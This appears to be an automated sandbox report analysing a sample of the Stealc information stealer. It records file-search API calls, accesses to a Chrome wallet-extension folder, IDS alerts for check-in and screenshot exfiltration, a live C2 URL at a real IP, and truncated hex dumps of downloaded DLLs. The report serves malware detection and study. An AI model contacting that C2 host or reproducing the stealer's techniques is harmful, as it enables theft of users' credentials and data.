Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: vMRlWtVCEN.exe, 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49715 -> 95.215.204.182:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49715 -> 95.215.204.182:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 95.215.204.182:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49715 -> 95.215.204.182:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 95.215.204.182:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49715 -> 95.215.204.182:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.6:49911 -> 95.215.204.182:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://95.215.204.182/4d3324bde875e159.php
Source: Malware configuration extractor	URLs: http://95.215.204.182/4d3324bde875e159.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 16:25:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 16:25:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 16:25:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 16:25:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 16:25:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 16:25:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 